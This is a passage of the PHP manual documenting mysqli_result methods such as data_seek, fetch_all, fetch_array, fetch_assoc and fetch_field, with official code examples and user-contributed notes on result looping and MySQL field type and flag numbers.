int $mysqli_result->current_field ;

Procedural style

int mysqli_field_tell ( mysqli_result $result )

Returns the position of the field cursor used for the last mysqli_fetch_field() call. This value can be used as an argument to mysqli_field_seek().

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns current offset of field cursor.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    while ($finfo = $result->fetch_field()) {

        /* get fieldpointer offset */
        $currentfield = $result->current_field;

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all fields */
    while ($finfo = mysqli_fetch_field($result)) {

        /* get fieldpointer offset */
        $currentfield = mysqli_field_tell($result);

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Column 1:
Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Column 2:
Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_fetch_field() - Returns the next field in the result set
  • mysqli_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.
mysqli_result
mysqli_result::data_seek
mysqli_result


Adjusts the result pointer to an arbitary row in the result

mysqli_result::$current_field
mysqli_result::fetch_all
mysqli_result
PHP Manual

mysqli_result::data_seek

mysqli_data_seek

(PHP 5)

mysqli_result::data_seek -- mysqli_data_seek — Adjusts the result pointer to an arbitary row in the result

Description

Object oriented style

bool mysqli_result::data_seek ( int $offset )

Procedural style

bool mysqli_data_seek ( mysqli_result $result , int $offset )

The mysqli_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

offset

The field offset. Must be between zero and the total number of rows minus one (0..mysqli_num_rows() - 1).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function can only be used with buffered results attained from the use of the mysqli_store_result() or mysqli_query() functions.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($result = $mysqli->query( $query)) {

    /* seek to row no. 400 */
    $result->data_seek(399);

    /* fetch row */
    $row = $result->fetch_row();

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* free result set*/
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";

if ($result = mysqli_query($link, $query)) {

    /* seek to row no. 400 */
    mysqli_data_seek($result, 399);

    /* fetch row */
    $row = mysqli_fetch_row($result);

    printf ("City: %s  Countrycode: %s\n", $row[0], $row[1]);

    /* free result set*/
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

City: Benin City  Countrycode: NGA

See Also

  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_num_rows() - Gets the number of rows in a result

User Contributed Notes

kaisellgren at gmail dot com 09-Sep-2008 12:07
This is useful function when you try to loop through the resultset numerous times.

For example:

<?php

$result = mysqli_query($connection_id,$query);

while ($row = mysqli_fetch_assoc($result))
 {
  // Looping through the resultset.
 }

// Now if you need to loop through it again, you would first call the seek function:
mysqli_data_seek($result,0);

while ($row = mysqli_fetch_assoc($result))
 {
  // Looping through the resultset again.
 }

?>
mysqli_result::$current_field
mysqli_result::fetch_all
mysqli_result


Fetches all result rows as an associative array, a numeric array, or both

mysqli_result::data_seek
mysqli_result::fetch_array
mysqli_result
PHP Manual

mysqli_result::fetch_all

mysqli_fetch_all

(PHP 5 >= 5.3.0)

mysqli_result::fetch_all -- mysqli_fetch_all — Fetches all result rows as an associative array, a numeric array, or both

Description

Object oriented style

mixed mysqli_result::fetch_all ([ int $resulttype = MYSQLI_NUM ] )

Procedural style

mixed mysqli_fetch_all ( mysqli_result $result [, int $resulttype = MYSQLI_NUM ] )

mysqli_fetch_all() fetches all result rows and returns the result set as an associative array, a numeric array, or both.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

resulttype

This optional parameter is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH.

Return Values

Returns an array of associative or numeric arrays holding result rows.

MySQL Native Driver Only

Available only with mysqlnd.

As mysqli_fetch_all() returns all the rows as an array in a single step, it may consume more memory than some similar functions such as mysqli_fetch_array(), which only returns one row at a time from the result set. Further, if you need to iterate over the result set, you will need a looping construct that will further impact performance. For these reasons mysqli_fetch_all() should only be used in those situations where the fetched result set will be sent to another layer for processing.

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_query() - Performs a query on the database

User Contributed Notes

windix at gmail dot com 25-Aug-2010 07:01
If you get an empty set after calling fetch_all(), make sure the result set cursor is reset to the beginning
andrey at php dot net 10-Aug-2010 07:38
Return value changed in 5.3.3 - between 5.3.0 and 5.3.2 (incl.) when the result set was empty NULL was returned. 5.3.3+ returns an empty array.
Also, mysqli_fetch_all works only for buffered result sets, which are the default for mysqli_query. MYSQLI_USE_RESULT will be supported in 5.3.4+
However, it makes little sense to use it this way, materialising unbuffered sets. In this case choose STORE_RESULT, and fetch_all won't copy the data, but reference it, as it is stored already in mysqlnd.
kevin at metalaxe dot com 06-Jan-2009 01:18
If you are getting the following error:

Fatal error: Call to undefined method mysqli_result::fetch_all()

Be sure you didn't miss this line after the procedural call about it requiring mysqlnd
mysqli_result::data_seek
mysqli_result::fetch_array
mysqli_result


Fetch a result row as an associative, a numeric array, or both

mysqli_result::fetch_all
mysqli_result::fetch_assoc
mysqli_result
PHP Manual

mysqli_result::fetch_array

mysqli_fetch_array

(PHP 5)

mysqli_result::fetch_array -- mysqli_fetch_array — Fetch a result row as an associative, a numeric array, or both

Description

Object oriented style

mixed mysqli_result::fetch_array ([ int $resulttype = MYSQLI_BOTH ] )

Procedural style

mixed mysqli_fetch_array ( mysqli_result $result [, int $resulttype = MYSQLI_BOTH ] )

Returns an array that corresponds to the fetched row or NULL if there are no more rows for the resultset represented by the result parameter.

mysqli_fetch_array() is an extended version of the mysqli_fetch_row() function. In addition to storing the data in the numeric indices of the result array, the mysqli_fetch_array() function can also store the data in associative indices, using the field names of the result set as keys.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

If two or more columns of the result have the same field names, the last column will take precedence and overwrite the earlier data. In order to access multiple columns with the same name, the numerically indexed version of the row must be used.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

resulttype

This optional parameter is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH.

By using the MYSQLI_ASSOC constant this function will behave identically to the mysqli_fetch_assoc(), while MYSQLI_NUM will behave identically to the mysqli_fetch_row() function. The final option MYSQLI_BOTH will create a single array with the attributes of both.

Return Values

Returns an array of strings that corresponds to the fetched row or NULL if there are no more rows in resultset.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

/* numeric array */
$row = $result->fetch_array(MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MYSQLI_ASSOC);
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = $result->fetch_array(MYSQLI_BOTH);
printf ("%s (%s)\n", $row[0], $row["CountryCode"]);

/* free result set */
$result->close();

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = mysqli_query($link, $query);

/* numeric array */
$row = mysqli_fetch_array($result, MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
printf ("%s (%s)\n", $row[0], $row["CountryCode"]);

/* free result set */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

See Also

  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitary row in the result

User Contributed Notes

ahouston at gmail dot com 31-May-2011 02:39
Here is a function to return an associative array with multiple columns as keys to the array.

This is a rough approximation of the perl DBI->fetchall_hashref function - something I find myself using quite a bit.

Given a simple mySQL table:

mysql> select * from city;
+----------------+----------------+------------------+------------+
| country        | region         | city             | hemisphere |
+----------------+----------------+------------------+------------+
| South Africa   | KwaZulu-Natal  | Durban           | South      |
| South Africa   | Gauteng        | Johannesburg     | South      |
| South Africa   | Gauteng        | Tshwane          | South      |
| South Africa   | KwaZulu-Natal  | Pietermaritzburg | South      |
| United Kingdom | Greater London | City of London   | North      |
| United Kingdom | Greater London | Wimbledon        | North      |
| United Kingdom | Lancashire     | Liverpool        | North      |
| United Kingdom | Lancashire     | Manchester       | North      |
+----------------+----------------+------------------+------------+

*Note* - this is a simple function that makes no attempt to keep multiple values per key, so you need to specify all the unique keys you require.

<?php

        $link = mysqli_connect("localhost", "username", "password", "test");
        $result = mysqli_query($link, "select * from city");
        $results_arr = fetch_all_assoc($result,array('hemisphere','country','region','city'));

function fetch_all_assoc(& $result,$index_keys) {

  // Args :    $result = mysqli result variable (passed as reference to allow a free() at the end
  //           $indexkeys = array of columns to index on
  // Returns : associative array indexed by the keys array

  $assoc = array();             // The array we're going to be returning

  while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {

        $pointer = & $assoc;            // Start the pointer off at the base of the array

        for ($i=0; $i<count($index_keys); $i++) {

                $key_name = $index_keys[$i];
                if (!isset($row[$key_name])) {
                        print "Error: Key $key_name is not present in the results output.\n";
                        return(false);
                }

                $key_val= isset($row[$key_name]) ? $row[$key_name]  : "";

                if (!isset($pointer[$key_val])) {

                        $pointer[$key_val] = "";                // Start a new node
                        $pointer = & $pointer[$key_val];                // Move the pointer on to the new node
                }
                else {
                        $pointer = & $pointer[$key_val];            // Already exists, move the pointer on to the new node
                }

        } // for $i

        // At this point, $pointer should be at the furthest point on the tree of keys
        // Now we can go through all the columns and place their values on the tree
        // For ease of use, include the index keys and their values at this point too

        foreach ($row as $key => $val) {
                        $pointer[$key] = $val;
        }

  } // $row

  /* free result set */
  $result->close();

  return($assoc);
}

?>
Jammerx2 26-Jan-2010 07:09
Putting multiple rows into an array:

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

while($row = $result->fetch_array())
{
$rows[] = $row;
}

foreach($rows as $row)
{
echo $row['CountryCode'];
}

/* free result set */
$result->close();

/* close connection */
$mysqli->close();
?>
mysqli_result::fetch_all
mysqli_result::fetch_assoc
mysqli_result


Fetch a result row as an associative array

mysqli_result::fetch_array
mysqli_result::fetch_field_direct
mysqli_result
PHP Manual

mysqli_result::fetch_assoc

mysqli_fetch_assoc

(PHP 5)

mysqli_result::fetch_assoc -- mysqli_fetch_assoc — Fetch a result row as an associative array

Description

Object oriented style

array mysqli_result::fetch_assoc ( void )

Procedural style

array mysqli_fetch_assoc ( mysqli_result $result )

Returns an associative array that corresponds to the fetched row or NULL if there are no more rows.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns an associative array of strings representing the fetched row in the result set, where each key in the array represents the name of one of the result set's columns or NULL if there are no more rows in resultset.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using mysqli_fetch_row() or add alias names.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch associative array */
    while ($row = $result->fetch_assoc()) {
        printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
    }

    /* free result set */
    $result->free();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_assoc($result)) {
        printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Example #3 A mysqli_result example comparing iterator usage

<?php
$c = mysqli_connect('127.0.0.1','user', 'pass');

// Using iterators (support was added with PHP 5.4)
foreach ( $c->query('SELECT user,host FROM mysql.user') as $row ) {
    printf("'%s'@'%s'\n", $row['user'], $row['host']);
}

echo "\n==================\n";

// Not using iterators
$result = $c->query('SELECT user,host FROM mysql.user');
while ($row = $result->fetch_assoc()) {
    printf("'%s'@'%s'\n", $row['user'], $row['host']);
}

?>

The above example will output something similar to:

'root'@'192.168.1.1'
'root'@'127.0.0.1'
'dude'@'localhost'
'lebowski'@'localhost'

==================

'root'@'192.168.1.1'
'root'@'127.0.0.1'
'dude'@'localhost'
'lebowski'@'localhost'

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitary row in the result

User Contributed Notes

james dot phx at gmail dot com 11-Aug-2011 05:58
IMPORTANT NOTE:

If you were used to using code like this:

<?php
while(false !== ($row = mysql_fetch_assoc($result))
{
    //...
}
?>

You must change it to this for mysqli:

<?php
while(null !== ($row = mysqli_fetch_assoc($result))
{
    //...
}
?>

The former will cause your script to run until max_execution_time is reached.
geoffrey dot hoffman at gmail dot com 13-Nov-2009 11:43
[This describes the syntax difference in calling $result->fetch_assoc().]

<?php
/* fetch associative array works inside a while loop */
 while ($row = $result->fetch_assoc()) {
    printf ("%s (%s)\n", $row["Name"],  $row["CountryCode"]);
 }

 // works

 /* fetch associative array doesn't work inside a foreach */
 foreach($result->fetch_assoc() as $row) {
     printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
 }

 // fails
?>
mysqli_result::fetch_array
mysqli_result::fetch_field_direct
mysqli_result


Fetch meta-data for a single field

mysqli_result::fetch_assoc
mysqli_result::fetch_field
mysqli_result
PHP Manual

mysqli_result::fetch_field_direct

mysqli_fetch_field_direct

(PHP 5)

mysqli_result::fetch_field_direct -- mysqli_fetch_field_direct — Fetch meta-data for a single field

Description

Object oriented style

object mysqli_result::fetch_field_direct ( int $fieldnr )

Procedural style

object mysqli_fetch_field_direct ( mysqli_result $result , int $fieldnr )

Returns an object which contains field definition information from the specified result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

fieldnr

The field number. This value must be in the range from 0 to number of fields - 1.

Return Values

Returns an object which contains field definition information or FALSE if no field information for specified fieldnr is available.

Object attributes
Attribute | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | The default value for this field, represented as a string
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for column 'SurfaceArea' */
    $finfo = $result->fetch_field_direct(1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for column 'SurfaceArea' */
    $finfo = mysqli_fetch_field_direct($result, 1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_num_fields() - Get the number of fields in a result
  • mysqli_fetch_field() - Returns the next field in the result set
  • mysqli_fetch_fields() - Returns an array of objects representing the fields in a result set

User Contributed Notes

bl at example dot com 09-Aug-2010 10:11
note that
"SELECT <timestamp-field>, ..."
will return the field with type 7 (timestamp) but with content like "2010-07-14 14:35:08". the point being it is a string.

"SELECT <timestamp-field> + 0, ..."
returns a type 5 (double) but while a number, is not seconds since epoch, but a number in MySQL's "YYYYMMDDHHMMSS" format, in this example:
20100714143508

(PHP 5.2.12)
shoresofnowhere at gmail dot com 26-Aug-2009 03:50
Beware of the fact that the ->def property NEVER gets filled with the correct default field value, so it's totally USELESS.

This happens NOT for a bug in php (so don't go filling in a bug report), but happens BY DESIGN, since the MySQL C API call doesn't fill in this value, unless you call the mysql_list_fields() function, which Php doesn't.

See here for reference.
http://dev.mysql.com/doc/refman/5.0/en/c-api-datatypes.html

Also, be aware that if you're using a query which contains subqueries, the primary key/autoincrement flags do NOT get passed along, even if the field you're looking at is the primary autoincrement key of the master table:

SELECT * from (SELECT id from areas) AS subareas

and you'll find primary key and autoinc flags off on id field, even if id was the primary autoinc key of areas table.

This also is by design, i think, since it's supposed that if we're using a subquery then the primary key/autoinc stuff might have no sense at all, since in the result set we can compose fileds from many different tables.

Hoping this is useful, bye!
gcdreak at example dot com 18-Aug-2009 03:28
I wrote a simple class to get info about fields.
Try it!

<?php
            class MysqlFieldsInfo implements Iterator
            {

                private $result;
                private $position;
                private $row;

                function __construct($result){
                    $this->result = $result;
                    $this->position = 0;
                    $this->rewind();    // W $results wewnętrzny wskaźnik może być przesunięty więc powracamy do początku
                }

                public function current(){
                    return $this->row;
                }

                public function next(){
                    $this->position++;
                    $this->row = $this->result->fetch_field();
                }

                public function valid(){
                    return (boolean) $this->row;
                }

                public function key(){
                    return $this->position;
                }

                public function rewind(){
                    $this->position = 0;
                    $this->result->field_seek(0);
                    $this->next();
                }

                //    This function show data in table
                public function export(){

                    echo '<table id="db_table_info">';
                    echo '<tr>
                                                <th>Name</th>
                                                <th>Orgname</th>
                                                <th>Table</th>
                                                <th>Orgtable</th>
                                                <th>Def</th>
                                                 <th>Max_length</th>
                                                 <th>Length</th>
                                                 <th>Charsetnr</th>
                                                 <th>Flags</th>
                                                 <th>Type</th>
                                                  <th>Decimals</th>
                                          </tr>';
                    while($this->valid()){
                        echo '<tr>';
                        printf("\n\t<td>%s</td>\n", $this->current()->name);
                        printf("\t<td>%s</td>\n", $this->current()->orgname);
                        printf("\t<td>%s</td>\n", $this->current()->orgtable);
                        printf("\t<td>%s</td>\n", $this->current()->def);
                        printf("\t<td>%s</td>\n", $this->current()->max_length);
                        printf("\t<td>%s</td>\n", $this->current()->length);
                        printf("\t<td>%s</td>\n", $this->current()->charsetnr);
                        printf("\t<td>%s</td>\n", $this->current()->flags);
                        printf("\t<td>%s</td>\n", $this->current()->type);
                        printf("\t<td>%s</td>\n", $this->current()->decimals);

                        echo '</tr>';

                        $this->next();
                    }

                    echo '</table>';
                }
            }
?>
daniel at summit cove dot com 22-Feb-2009 03:36
Here's a bigger list of data types.  I got this by creating every type I could and calling fetch_fields():

<?php
$mysql_data_type_hash = array(
    1=>'tinyint',
    2=>'smallint',
    3=>'int',
    4=>'float',
    5=>'double',
    7=>'timestamp',
    8=>'bigint',
    9=>'mediumint',
    10=>'date',
    11=>'time',
    12=>'datetime',
    13=>'year',
    16=>'bit',
    //252 is currently mapped to all text and blob types (MySQL 5.0.51a)
    253=>'varchar',
    254=>'char',
    246=>'decimal'
);
?>
cjs at ashdowntech dot com 16-Sep-2008 09:52
According to
http://www.redferni.uklinux.net/mysql/MySQL-Protocol.html

Data type values are:

DECIMAL           0       ENUM           247
TINY              1       SET            248
SHORT             2       TINY_BLOB      249
LONG              3       MEDIUM_BLOB    250
FLOAT             4       LONG_BLOB      251
DOUBLE            5       BLOB           252
NULL              6       VAR_STRING     253
TIMESTAMP         7       STRING         254
LONGLONG          8       GEOMETRY       255
INT24             9
DATE             10
TIME             11
DATETIME         12
YEAR             13
NEWDATE          14

Note that this is not tested and does not contain
all the values noted by deluxmozart
cjs at ashdowntech dot com 12-Sep-2008 08:00
According to
dev.mysql.com/sources/doxygen/mysql-5.1/mysql__com_8h-source.html
the flag bits are:

 NOT_NULL_FLAG          1         /* Field can't be NULL */
 PRI_KEY_FLAG           2         /* Field is part of a primary key */
 UNIQUE_KEY_FLAG        4         /* Field is part of a unique key */
 MULTIPLE_KEY_FLAG      8         /* Field is part of a key */
 BLOB_FLAG             16         /* Field is a blob */
 UNSIGNED_FLAG         32         /* Field is unsigned */
 ZEROFILL_FLAG         64         /* Field is zerofill */
 BINARY_FLAG          128         /* Field is binary   */
 ENUM_FLAG            256         /* field is an enum */
 AUTO_INCREMENT_FLAG  512         /* field is a autoincrement field */
 TIMESTAMP_FLAG      1024         /* Field is a timestamp */
deluxmozart at yahoo dot de 24-Jul-2008 11:05
Here are some Numbers of Datatypes. I searched for it but i didn't find a list, where the datatypes of the numbers are listed.

so first I can give this:

    3    -    Int
    10    -    Date
    246    -    Decimal
    252    -     text
    253    -    VarChar
    254    -    Boolean
mysqli_result::fetch_assoc
mysqli_result::fetch_field
mysqli_result


Returns the next field in the result set

mysqli_result::fetch_field_direct
mysqli_result::fetch_fields
mysqli_result
PHP Manual

mysqli_result::fetch_field

mysqli_fetch_field

(PHP 5)

mysqli_result::fetch_field -- mysqli_fetch_field — Returns the next field in the result set

Description

Object oriented style

object mysqli_result::fetch_field ( void )

Procedural style

object mysqli_fetch_field ( mysqli_result $result )

Returns the definition of one column of a result set as an object. Call this function repeatedly to retrieve information about all columns in the result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns an object which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | Reserved for default value, currently always ""
db | Database (since PHP 5.3.6)
catalog | The catalog name, always "def" (since PHP 5.3.6)
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    while ($finfo = $result->fetch_field()) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all fields */
    while ($finfo = mysqli_fetch_field($result)) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_num_fields() - Get the number of fields in a result
  • mysqli_fetch_field_direct() - Fetch meta-data for a single field
  • mysqli_fetch_fields() - Returns an array of objects representing the fields in a result set
  • mysqli_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

iansoko at hotmail dot com 06-Oct-2011 08:24
here are the data types that correspond to the TYPE number returned by fetch_field.

thought i would post this here since i couldn't find the info elsewhere.

numerics
-------------
BIT: 16
TINYINT: 1
BOOL: 1
SMALLINT: 2
MEDIUMINT: 9
INTEGER: 3
BIGINT: 8
SERIAL: 8
FLOAT: 4
DOUBLE: 5
DECIMAL: 246
NUMERIC: 246
FIXED: 246

dates
------------
DATE: 10
DATETIME: 12
TIMESTAMP: 7
TIME: 11
YEAR: 13

strings & binary
------------
CHAR: 254
VARCHAR: 253
ENUM: 254
SET: 254
BINARY: 254
VARBINARY: 253
TINYBLOB: 252
BLOB: 252
MEDIUMBLOB: 252
TINYTEXT: 252
TEXT: 252
MEDIUMTEXT: 252
LONGTEXT: 252
ragtag at hotmail dot com 17-Sep-2008 05:16
The flags used by MySql are:
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536

To test if a flag is set you can use & like so:
<?php
$meta = $mysqli_result_object->fetch_field();
if ($meta->flags & 4) {
  echo 'Unique key flag is set';
}
?>
mysqli_result::fetch_field_direct
mysqli_result::fetch_fields
mysqli_result


Returns an array of objects representing the fields in a result set

mysqli_result::fetch_field
mysqli_result::fetch_object
mysqli_result
PHP Manual

mysqli_result::fetch_fields

mysqli_fetch_fields

(PHP 5)

